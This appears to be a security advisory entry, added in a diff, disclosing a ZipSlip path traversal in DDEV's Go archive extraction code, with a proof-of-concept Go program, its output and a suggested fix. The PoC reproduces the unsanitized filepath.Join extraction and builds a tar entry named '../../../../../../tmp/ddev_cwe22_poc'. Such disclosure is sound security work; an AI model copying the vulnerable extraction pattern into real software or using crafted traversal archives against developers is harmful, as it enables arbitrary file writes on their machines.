+ "details": "## Summary\n\nThe DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.\n\n## Vulnerable Code\n\n`pkg/archive/archive.go:235` (Untar):\n```go\nfullPath := filepath.Join(dest, file.Name) // NO SANITIZATION\n```\n\n`pkg/archive/archive.go:342` (Unzip):\n```go\nfullPath := filepath.Join(dest, file.Name) // NO SANITIZATION\n```\n\nBoth functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.\n\n## Impact\n\nLocal development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.\n\n## Proof of Concept\n\n```go\npackage main\n\n// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction\n// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)\n// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)\n// without verifying the result stays under the destination directory.\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Vulnerable extraction — mirrors pkg/archive/archive.go:235\nfunc untarVulnerable(dst string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// VULNERABLE: identical to archive.go:235\n\t\t// fullPath := filepath.Join(dest, file.Name)\n\t\tfullPath := filepath.Join(dst, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tos.MkdirAll(fullPath, 0755)\n\t\tcase tar.TypeReg:\n\t\t\tos.MkdirAll(filepath.Dir(fullPath), 0755)\n\t\t\tf, _ := os.Create(fullPath)\n\t\t\tio.Copy(f, tr)\n\t\t\tf.Close()\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\t// Build malicious tar with traversal entry\n\tvar buf bytes.Buffer\n\ttw := tar.NewWriter(&buf)\n\tpayload := []byte(\"# PoC: ddev/ddev CWE-22 path traversal\\n\")\n\ttw.WriteHeader(&tar.Header{\n\t\tName: \"../../../../../../tmp/ddev_cwe22_poc\",\n\t\tMode: 0644,\n\t\tSize: int64(len(payload)),\n\t})\n\ttw.Write(payload)\n\ttw.Close()\n\n\t// Extract into temp directory\n\textractDir, _ := os.MkdirTemp(\"\", \"ddev-poc-*\")\n\tdefer os.RemoveAll(extractDir)\n\n\tuntarVulnerable(extractDir, &buf)\n\n\t// Verify escape\n\tescaped := \"/tmp/ddev_cwe22_poc\"\n\tif data, err := os.ReadFile(escaped); err == nil {\n\t\tfmt.Printf(\"[!!!] VULNERABLE — file written to: %s\\n\", escaped)\n\t\tfmt.Printf(\"[!!!] Content: %s\", string(data))\n\t\tos.Remove(escaped)\n\t} else {\n\t\tfmt.Println(\"[OK] Not vulnerable\")\n\t}\n}\n```\n\nOutput:\n```\n[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc\n[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal\n```\n\n> **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.\n\n## Suggested Fix\n\nAdd path containment check in both Untar and Unzip functions.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research",
0 commit comments